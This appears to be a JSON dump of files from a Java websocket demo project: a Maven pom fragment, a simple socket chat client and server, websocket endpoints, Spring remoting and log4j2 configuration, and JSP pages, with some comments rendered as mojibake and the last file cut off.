-->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis</artifactId>\n\t\t\t<version>${mybatis.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis-spring</artifactId>\n\t\t\t<version>1.3.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper</artifactId>\n\t\t\t<version>5.1.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-web</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-config</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-core</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-taglibs</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.46</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.1.19</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.annotation</groupId>\n\t\t\t<artifactId>jsr250-api</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t    <groupId>javax.websocket</groupId>\n\t\t    <artifactId>javax.websocket-api</artifactId>\n\t\t    <version>1.1</version>\n\t\t</dependency>\n\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_log</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/socket/Client.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.socket;\n\nimport java.io.*;\nimport java.net.*;\n\npublic class Client {\n\t\n\tSocket socket;\n\tBufferedReader in;\n\tPrintWriter out;\n\tString msg = null;\n\tString msg1 = null;\n\tpublic Client() {\n\t\ttry {\n\t\t\t\tsocket = new Socket(\"192.168.3.6\", 1255);\n\t\t\t\tin = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n\t\t\t\tout = new PrintWriter(socket.getOutputStream(), true);\n\t\t\t\tout.println(\"wangwu\");\n\t\t\t\tnew Thread(new Runnable(){\n\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\twhile((msg1 = in.readLine())!=null){\n\t\t\t\t\t\t\t\tSystem.out.println(msg1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}).start();\n\t\t\t\tBufferedReader reader = new BufferedReader(new InputStreamReader(System.in));\n\t\t        while (true) {  \n\t\t            String msg = reader.readLine();  \n\t\t            out.println(msg);  \n\t\t            if (msg.equals(\"bye\")) {  \n\t\t                break;  \n\t\t            }  \n\t\t        }  \n\t\t}catch (IOException e) {\n\t\t\t\n\t\t}finally{\n\t\t\tout.close();\n\t\t\ttry {\n\t\t\t\tin.close();\n\t\t\t\tsocket.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tnew Client();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/socket/Server.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.socket;\n\nimport java.io.IOException;\nimport java.net.ServerSocket;\nimport java.net.Socket;\nimport java.util.Vector;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\n/**\n * @author ZhangHao \n * @date  2013-4-12\n * 多线程通讯服务端\n */\npublic class Server {\n\tprivate static int PORT = 1255;\n\tprivate ServerSocket server = null;\n\tprivate Vector<Socket> vector = new Vector<Socket>();\n\tprivate ConcurrentHashMap<String, Socket> map = new ConcurrentHashMap<String, Socket>();\n\tprivate int POOL_SIZE = 10;\n\tprivate ExecutorService threadPools = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors()*POOL_SIZE);\n\tpublic Server() {\n\t\ttry {\n\t\t\t server = new ServerSocket(PORT);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic void start(){\n\t\tSystem.out.println(\"Server Started===============\");\n\t\twhile(true){\n\t\t\ttry {\n\t\t\t\tSocket socket = server.accept();\n\t\t\t\tvector.add(socket);\n\t\t\t\tthreadPools.execute(new ServerHandler(socket, vector,map));\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tnew Server().start();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/socket/ServerHandler.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.socket;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.Socket;\nimport java.net.SocketException;\nimport java.util.Vector;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * @author ZhangHao \n * @date  2013-4-12\n */\npublic class ServerHandler implements Runnable {\n\t\n\tprivate Socket socket = null;\n\tprivate Vector<Socket> vector = null;\n\tprivate ConcurrentHashMap<String, Socket> map = new ConcurrentHashMap<String, Socket>();\n\tprivate String msg = null;\n\tBufferedReader reader = null;\n\tPrintWriter writer = null;\n\tboolean flag = true;\n\tpublic ServerHandler() {\n\t\t\n\t}\t\n\t\n\tpublic ServerHandler(Socket socket, Vector vector, ConcurrentHashMap<String,Socket> map) {\n\t\tthis.socket = socket;\n\t\tthis.vector = vector;\n\t\tthis.map = map;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tString name = null;\n\t\ttry {\n\t\t\t\n\t\t\treader = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n\t\t\tString strr = reader.readLine();\n\t\t\tname = strr+socket.getInetAddress()+\"=\"+socket.getPort();\n\t\t\tSystem.out.println(name+\"连接到服务器！\");\n\t\t\tmap.put(strr, socket);\n\t\t\tfor(int i=0;i<vector.size();i++){\n\t\t\t\twriter = new PrintWriter(vector.get(i).getOutputStream(),true);\n\t\t\t\twriter.println(name+\"上线了\");\n\t\t\t}\n\t\t\twhile(flag && ((msg=reader.readLine())!=null)){\n\t\t\t\tSystem.out.println(msg);\n\t\t\t\tif(\"to-\".equals(msg.substring(0,3))){\n\t\t\t\t\tString str = msg.substring(3,msg.indexOf(\"]\"));\n\t\t\t\t\tSystem.out.println(str);\n\t\t\t\t\twriter = new PrintWriter(map.get(str).getOutputStream(),true);\n\t\t\t\t\twriter.println(name+\"说:\"+msg.substring(msg.indexOf(\"]\")));\n\t\t\t\t}else{\n\t\t\t\t\tfor(int i=0;i<vector.size();i++){\n\t\t\t\t\t\twriter = new PrintWriter(vector.get(i).getOutputStream(),true);\n\t\t\t\t\t\twriter.println(name+\"说:\"+msg);\n\t\t\t\t\t}\n\t\t\t\t}\n                if (msg.equals(\"bye\")) {\n                    break;  \n                } \n\t\t\t}\n\t\t}catch(SocketException e){\n\t\t\tvector.remove(socket);\n\t\t\tflag = false;\n\t\t\tfor(int i=0;i<vector.size();i++){\n\t\t\t\ttry {\n\t\t\t\t\twriter = new PrintWriter(vector.get(i).getOutputStream(),true);\n\t\t\t\t\twriter.println(name+\"非正常离开\");\n\t\t\t\t} catch (IOException e1) {\n\t\t\t\t\te1.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tif(socket!=null){\n\t\t\t\ttry {\n\t\t\t\t\tsocket.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/log4j2/demo/Main.java",
    "content": "package com.jun.plugin.websocket.log4j2.demo;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * @author 许波波\n * @date 2019/1/16\n */\npublic class Main {\n    private static final Logger logger = LoggerFactory.getLogger(Main.class);\n\n    public static void main(String[] args) {\n        logger.debug(\"打印debug级别日志\");\n        logger.info(\"打印info级别日志\");\n        logger.warn(\"打印warn级别日志\");\n        logger.error(\"打印error级别日志\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/spring/rpc/service/Student.java",
    "content": "package com.jun.plugin.websocket.spring.rpc.service;\n\nimport java.io.Serializable;\n\npublic class Student implements Serializable{\n\tprivate static final long serialVersionUID = -4475650817096311549L;\n\tprivate Integer id;\n\tprivate String name;\n\tprivate Integer age;\n\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/spring/rpc/service/WelcomeService.java",
    "content": "package com.jun.plugin.websocket.spring.rpc.service;\n\nimport java.util.List;\n\nimport com.jun.plugin.websocket.spring.rpc.service.Student;\n\n/**\n * ҵ��ӿ�\n */\npublic interface WelcomeService {\n\tpublic void sayHello(String name);\n\tpublic int getLength(String name);\n\tpublic List<Student> getStudents(int n);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/spring/rpc/service/WelcomeServiceImpl.java",
    "content": "package com.jun.plugin.websocket.spring.rpc.service;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.jun.plugin.websocket.spring.rpc.service.Student;\nimport com.jun.plugin.websocket.spring.rpc.service.WelcomeService;\n\n/**\n * pojo \n */\npublic class WelcomeServiceImpl implements WelcomeService {\n\tpublic void sayHello(String name) {\n\t\tSystem.out.println(name);\n\t}\n\t\n\tpublic int getLength(String name){\n\t\treturn name.length() ;\n\t}\n\t\n\tpublic List<Student> getStudents(int n){\n\t\tList<Student> list = new ArrayList<Student>();\n\t\tStudent s = null ;\n\t\tfor(int i =0 ; i < n ; i ++){\n\t\t\ts = new Student();\n\t\t\ts.setId(1 + i);\n\t\t\ts.setName(\"tom\" + i);\n\t\t\ts.setAge(20 + i);\n\t\t\tlist.add(s);\n\t\t}\n\t\treturn list ;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/websocket/MyWebSocket.java",
    "content": "package com.jun.plugin.websocket.websocket;\nimport java.io.IOException;\nimport java.util.concurrent.CopyOnWriteArraySet;\n \nimport javax.websocket.OnClose;\nimport javax.websocket.OnError;\nimport javax.websocket.OnMessage;\nimport javax.websocket.OnOpen;\nimport javax.websocket.Session;\nimport javax.websocket.server.ServerEndpoint;\n \n//��ע������ָ��һ��URI���ͻ��˿���ͨ�����URI�����ӵ�WebSocket������Servlet��ע��mapping��������web.xml�����á�\n@ServerEndpoint(\"/websocket\")\npublic class MyWebSocket {\n    //��̬������������¼��ǰ������������Ӧ�ð�����Ƴ��̰߳�ȫ�ġ�\n    private static int onlineCount = 0;\n     \n    //concurrent�����̰߳�ȫSet���������ÿ���ͻ��˶�Ӧ��MyWebSocket������Ҫʵ�ַ�����뵥һ�ͻ���ͨ�ŵĻ�������ʹ��Map����ţ�����Key����Ϊ�û���ʶ\n    private static CopyOnWriteArraySet<MyWebSocket> webSocketSet = new CopyOnWriteArraySet<MyWebSocket>();\n     \n    //��ĳ���ͻ��˵����ӻỰ����Ҫͨ���������ͻ��˷�������\n    private Session session;\n     \n    /**\n     * ���ӽ����ɹ����õķ���\n     * @param session  ��ѡ�Ĳ�����sessionΪ��ĳ���ͻ��˵����ӻỰ����Ҫͨ���������ͻ��˷�������\n     */\n    @OnOpen\n    public void onOpen(Session session){\n        this.session = session;\n        webSocketSet.add(this);     //����set��\n        addOnlineCount();           //��������1\n        System.out.println(\"�������Ӽ��룡��ǰ��������Ϊ\" + getOnlineCount());\n    }\n     \n    /**\n     * ���ӹرյ��õķ���\n     */\n    @OnClose\n    public void onClose(){\n        webSocketSet.remove(this);  //��set��ɾ��\n        subOnlineCount();           //��������1    \n        System.out.println(\"��һ���ӹرգ���ǰ��������Ϊ\" + getOnlineCount());\n    }\n     \n    /**\n     * �յ��ͻ�����Ϣ����õķ���\n     * @param message �ͻ��˷��͹�������Ϣ\n     * @param session ��ѡ�Ĳ���\n     */\n    @OnMessage\n    public void onMessage(String message, Session session) {\n        System.out.println(\"���Կͻ��˵���Ϣ:\" + message);\n         \n        //Ⱥ����Ϣ\n        for(MyWebSocket item: webSocketSet){             \n            try {\n                item.sendMessage(message);\n            } catch (IOException e) {\n                e.printStackTrace();\n                continue;\n            }\n        }\n    }\n     \n    /**\n     * ��������ʱ����\n     * @param session\n     * @param error\n     */\n    @OnError\n    public void onError(Session session, Throwable error){\n        System.out.println(\"��������\");\n        error.printStackTrace();\n    }\n     \n    /**\n     * ������������漸��������һ����û����ע�⣬�Ǹ����Լ���Ҫ��ӵķ�����\n     * @param message\n     * @throws IOException\n     */\n    public void sendMessage(String message) throws IOException{\n        this.session.getBasicRemote().sendText(message);\n        //this.session.getAsyncRemote().sendText(message);\n    }\n \n    public static synchronized int getOnlineCount() {\n        return onlineCount;\n    }\n \n    public static synchronized void addOnlineCount() {\n        MyWebSocket.onlineCount++;\n    }\n     \n    public static synchronized void subOnlineCount() {\n        MyWebSocket.onlineCount--;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/websocket/WebServer.java",
    "content": "package com.jun.plugin.websocket.websocket;\n\nimport javax.websocket.*;\nimport javax.websocket.server.ServerEndpoint;\nimport java.io.IOException;\n\n/**\n * Created by Wang Genshen on 2017-09-20.\n */\n@ServerEndpoint(\"/websocket/test\")\npublic class WebServer {\n\n    private boolean isRunning = false;\n\n    @OnOpen\n    public void open(final Session session) {\n        isRunning = true;\n        System.out.println(\"open: \" + session.getId());\n        final RemoteEndpoint.Basic basic = session.getBasicRemote();\n        new Thread(new Runnable() {\n            public void run() {\n                while (true) {\n                    if (isRunning) {\n                        try {\n                            Thread.sleep(5000);\n                            if (session.isOpen()) {\n                                basic.sendText(\"hi\");\n                            }\n                        } catch (IOException e) {\n                            e.printStackTrace();\n                        } catch (InterruptedException e) {\n                            e.printStackTrace();\n                        }\n                    } else {\n                        break;\n                    }\n                }\n            }\n        }).start();\n\n    }\n\n    @OnMessage\n    public void onMessage(Session session, String message) throws IOException, InterruptedException {\n        System.out.println(\"message: \" + session.getId());\n        System.out.println(\"Received: \" + message);\n        session.getBasicRemote().sendText(\"Hello, Client!\");\n        int sentMessages = 0;\n        while (sentMessages < 3) {\n            Thread.sleep(5000);\n            session.getBasicRemote().sendText(\"This is an intermediate server message. Count: \" + sentMessages);\n            sentMessages++;\n        }\n        session.getBasicRemote().sendText(\"This is the last server message\");\n    }\n\n    @OnClose\n    public void close(Session session) {\n        isRunning = false;\n        System.out.println(\"close: \" + session.getId());\n    }\n\n    @OnError\n    public void error(Session session, Throwable throwable) {\n        System.out.println(\"error: \" + session.getId());\n        System.out.println(throwable.getMessage());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/java/com/jun/plugin/websocket/websocket/WebSocketTest.java",
    "content": "package com.jun.plugin.websocket.websocket;\n\nimport java.io.IOException;\nimport java.util.concurrent.CopyOnWriteArraySet;\n\nimport javax.websocket.*;\nimport javax.websocket.server.ServerEndpoint;\n\n/**\n * @ServerEndpoint 注解是一个类层次的注解，它的功能主要是将目前的类定义成一个websocket服务器端,\n * 注解的值将被用于监听用户连接的终端访问URL地址,客户端可以通过这个URL来连接到WebSocket服务器端\n */\n@ServerEndpoint(\"/websocket\")\npublic class WebSocketTest {\n\t//静态变量，用来记录当前在线连接数。应该把它设计成线程安全的。\n\tprivate static int onlineCount = 0;\n\n\t//concurrent包的线程安全Set，用来存放每个客户端对应的MyWebSocket对象。若要实现服务端与单一客户端通信的话，可以使用Map来存放，其中Key可以为用户标识\n\tprivate static CopyOnWriteArraySet<WebSocketTest> webSocketSet = new CopyOnWriteArraySet<WebSocketTest>();\n\n\t//与某个客户端的连接会话，需要通过它来给客户端发送数据\n\tprivate Session session;\n\n\t/**\n\t * 连接建立成功调用的方法\n\t * @param session  可选的参数。session为与某个客户端的连接会话，需要通过它来给客户端发送数据\n\t */\n\t@OnOpen\n\tpublic void onOpen(Session session){\n\t\tthis.session = session;\n\t\twebSocketSet.add(this);     //加入set中\n\t\taddOnlineCount();           //在线数加1\n\t\tSystem.out.println(\"有新连接加入！当前在线人数为\" + getOnlineCount());\n\t}\n\n\t/**\n\t * 连接关闭调用的方法\n\t */\n\t@OnClose\n\tpublic void onClose(){\n\t\twebSocketSet.remove(this);  //从set中删除\n\t\tsubOnlineCount();           //在线数减1\n\t\tSystem.out.println(\"有一连接关闭！当前在线人数为\" + getOnlineCount());\n\t}\n\n\t/**\n\t * 收到客户端消息后调用的方法\n\t * @param message 客户端发送过来的消息\n\t * @param session 可选的参数\n\t */\n\t@OnMessage\n\tpublic void onMessage(String message, Session session) {\n\t\tSystem.out.println(\"来自客户端的消息:\" + message);\n\t\t//群发消息\n\t\tfor(WebSocketTest item: webSocketSet){\n\t\t\ttry {\n\t\t\t\titem.sendMessage(message);\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 发生错误时调用\n\t * @param session\n\t * @param error\n\t */\n\t@OnError\n\tpublic void onError(Session session, Throwable error){\n\t\tSystem.out.println(\"发生错误\");\n\t\terror.printStackTrace();\n\t}\n\n\t/**\n\t * 这个方法与上面几个方法不一样。没有用注解，是根据自己需要添加的方法。\n\t * @param message\n\t * @throws IOException\n\t */\n\tpublic void sendMessage(String message) throws IOException{\n\t\tthis.session.getBasicRemote().sendText(message);\n\t\t//this.session.getAsyncRemote().sendText(message);\n\t}\n\n\tpublic static synchronized int getOnlineCount() {\n\t\treturn onlineCount;\n\t}\n\n\tpublic static synchronized void addOnlineCount() {\n\t\tWebSocketTest.onlineCount++;\n\t}\n\n\tpublic static synchronized void subOnlineCount() {\n\t\tWebSocketTest.onlineCount--;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/resources/log4j2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--monitorInterval=\"30\" 表示30秒动态加载一次配置-->\n<Configuration monitorInterval=\"30\">\n    <Appenders>\n        <!--打印到控制台-->\n        <Console name=\"STDOUT\" target=\"SYSTEM_OUT\">\n            <PatternLayout pattern=\"%d %-5p [%t] %C{2} (%F:%L) - %m%n\"/>\n        </Console>\n\n        <!--打印到文件-->\n        <File name=\"infoLog\" fileName=\"infoLog.log\" append=\"true\">\n            <PatternLayout pattern=\"%d{yyyy-MM-dd HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n\"/>\n        </File>\n\n        <!-- 这个会打印出所有的信息，每次大小超过size，则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩，作为存档-->\n        <RollingFile name=\"errorLog\" fileName=\"errorLog.log\"\n                     filePattern=\"log/$${date:yyyy-MM}/errorLog-%d{MM-dd-yyyy}-%i.log.gz\">\n            <PatternLayout pattern=\"%d{yyyy-MM-dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n\"/>\n            <SizeBasedTriggeringPolicy size=\"50MB\"/>\n            <!-- DefaultRolloverStrategy属性如不设置，则默认为最多同一文件夹下7个文件，这里设置了20 -->\n            <DefaultRolloverStrategy max=\"20\"/>\n        </RollingFile>\n    </Appenders>\n    <Loggers>\n        <!--只打印当前程序包下面的日志-->\n        <Logger name=\"com.jun.base.log.log4j2.demo\" additivity=\"true\">\n            <AppenderRef ref=\"infoLog\" level=\"info\"/>\n            <AppenderRef ref=\"errorLog\" level=\"error\"/>\n        </Logger>\n\n        <Root level=\"info\">\n            <AppenderRef ref=\"STDOUT\"/>\n        </Root>\n    </Loggers>\n</Configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/resources/log4j2jdbc.xml",
    "content": "<Configuration status=\"TRACE\">\n    <Appenders>\n        <Console name=\"Console\" target=\"SYSTEM_OUT\">\n            <PatternLayout pattern=\"[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n\"/>\n        </Console>\n        <!-- 按天第天备份一个日志 -->\n        <RollingFile name=\"saveFile\" fileName=\"${sys:catalina.home}/logs/beanspark/auge.log\"\n                     filePattern=\"${sys:catalina.home}/logs/beanspark/auge_%d{yyyy-MM-dd}_%i.log\">\n            <PatternLayout pattern=\"[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n\"/>\n            <Policies>\n                <!-- 每天更新一次 每个文件最大活跃大小 512MB 最多备份20个文件 -->\n                <TimeBasedTriggeringPolicy modulate=\"true\" interval=\"1\" />\n                <SizeBasedTriggeringPolicy size=\"512MB\" />\n            </Policies>\n            <!-- 最多备份20个 -->\n            <DefaultRolloverStrategy max=\"20\" />\n        </RollingFile>\n        <!-- 按天第天备份一个日志 -->\n        <RollingFile name=\"XdyjError\" fileName=\"${sys:catalina.home}/logs/beanspark/auge_error.log\"\n                     filePattern=\"${sys:catalina.home}/logs/beanspark/auge_error_%d{yyyy-MM-dd}_%i.log\">\n            <PatternLayout pattern=\"[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n\"/>\n            <Policies>\n                <!-- 每天更新一次 每个文件最大活跃大小 128MB 最多备份20个文件 -->\n                <TimeBasedTriggeringPolicy modulate=\"true\" interval=\"1\" />\n                <SizeBasedTriggeringPolicy size=\"128MB\" />\n            </Policies>\n            <!-- 最多备份20个 -->\n            <DefaultRolloverStrategy max=\"20\" />\n        </RollingFile>\n        <!--写入数据库配置，在Logger中设置日志级别为error-->\n        <JDBC name=\"databaseAppender\" tableName=\"error_log\">\n            <ConnectionFactory class=\"com.xia.utils.ConnectionFactory\" method=\"getDatabaseConnection\" />\n            <Column name=\"class\" pattern=\"%c\" />\n            <Column name=\"method\" pattern=\"%M\" />\n            <Column name=\"log_level\" pattern=\"%p\" />\n            <Column name=\"msg\" pattern=\"%msg\"/>\n            <Column name=\"create_time\" pattern=\"%d{yyyy-MM-dd HH:mm:ss.SSS}\"/>\n        </JDBC>\n    </Appenders>\n\n    <Loggers>\n        <logger name=\"com.xia.Test\" level=\"trace\" additivity=\"false\">\n            <appender-ref ref=\"XdyjError\" level=\"error\"/>\n            <appender-ref ref=\"saveFile\" level=\"info\"/>\n            <appender-ref ref=\"Console\" level=\"debug\"/>\n            <!--配置数据库的存放-->\n            <appender-ref ref=\"databaseAppender\" level=\"all\"/>\n        </logger>\n        <Root level=\"error\">\n            <!-- Only events at DIAG level or more specific are sent to the console. -->\n            <appenderRef ref=\"XdyjError\"/>\n            <appenderRef ref=\"saveFile\"/>\n            <appender-ref ref=\"Console\"/>\n        </Root>\n    </Loggers>\n</Configuration>"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/resources/spring-servlet.xml",
    "content": "<?xml version=\"1.0\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:tx=\"http://www.springframework.org/schema/tx\" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txmlns:cache=\"http://www.springframework.org/schema/cache\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd http://www.springframework.org/schema/cache http://www.springframework.org/schema/cache/spring-cache-3.1.xsd \">\n\t\n\t<!-- pojo -->\n\t<bean id=\"welcomeService\" class=\"com.jun.plugin.websocket.spring.rpc.service.WelcomeServiceImpl\" />\n\t\n\t<!-- 导出器,将pojo对象转变成controller,处理请求 -->\n\t<bean name=\"/ws.service\" class=\"org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter\">\n\t\t<property name=\"serviceInterface\">\n\t\t\t<value>com.jun.plugin.websocket.spring.rpc.service.WelcomeService</value>\n\t\t</property>\n\t\t<property name=\"service\" ref=\"welcomeService\" />\n\t</bean>\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/test/com/xia/Test.java",
    "content": "package com.xia;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class Test {\n    private static final Logger log = LoggerFactory.getLogger(Test.class);\n\n    @org.junit.Test\n    public void test01(){\n        log.debug(\"This is debug\");\n        log.info(\"This is info\");\n        log.warn(\"This is warn\");\n        log.error(\"This is error\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_biz_api_service</display-name>\n  <servlet>\n    <servlet-name>service</servlet-name>\n    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>\n    <init-param>\n      <param-name>contextConfigLocation</param-name>\n      <param-value>classpath:spring-servlet.xml</param-value>\n    </init-param>\n  </servlet>\n  <servlet-mapping>\n    <servlet-name>service</servlet-name>\n    <url-pattern>*.service</url-pattern>\n  </servlet-mapping>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/webapp/index.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: Wang Genshen\n  Date: 2017-09-20\n  Time: 14:02\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<html>\n<head>\n    <title>$Title$</title>\n</head>\n<body>\n<a href=\"javascript:void(0);\" onclick=\"sendMsg();\">发送Socket消息</a>\n<a href=\"javascript:void(0);\" onclick=\"closeSocket();\">关闭Socket</a>\n</body>\n<script>\n\n    var webSocket;\n    if ('WebSocket' in window) {\n        webSocket = new WebSocket('ws://localhost:8080/jun_websocket/test');\n    } else {\n        alert('不支持Web Socket')\n    }\n    webSocket.onerror = function (event) {\n        alert(event.data);\n    };\n\n    webSocket.onopen = function (event) {\n        alert(\"open!\");\n    };\n\n    webSocket.onmessage = function (event) {\n        alert(\"message: \" + event.data);\n    };\n\n    webSocket.onclose = function (event) {\n        alert(\"close!\");\n        webSocket.close();\n    };\n\n    function sendMsg() {\n        webSocket.send('hello');\n    }\n\n    function closeSocket() {\n        webSocket.close();\n    }\n</script>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/webapp/websocket.jsp",
    "content": "<%@ page language=\"java\" pageEncoding=\"UTF-8\" %>\n<!DOCTYPE html>\n<html>\n<head>\n    <title>Java后端WebSocket的Tomcat实现</title>\n</head>\n<body>\n    Welcome<br/><input id=\"text\" type=\"text\"/>\n    <button onclick=\"send()\">发送消息</button>\n    <hr/>\n    <button onclick=\"closeWebSocket()\">关闭WebSocket连接</button>\n    <hr/>\n    <div id=\"message\"></div>\n</body>\n\n<script type=\"text/javascript\">\n    var websocket = null;\n    //判断当前浏览器是否支持WebSocket\n    if ('WebSocket' in window) {\n        websocket = new WebSocket(\"ws://localhost:8080/websocket\");\n    }\n    else {\n        alert('当前浏览器 Not support websocket')\n    }\n\n    //连接发生错误的回调方法\n    websocket.onerror = function () {\n        setMessageInnerHTML(\"WebSocket连接发生错误\");\n    };\n\n    //连接成功建立的回调方法\n    websocket.onopen = function () {\n        setMessageInnerHTML(\"WebSocket连接成功\");\n    }\n\n    //接收到消息的回调方法\n    websocket.onmessage = function (event) {\n        setMessageInnerHTML(event.data);\n    }\n\n    //连接关闭的回调方法\n    websocket.onclose = function () {\n        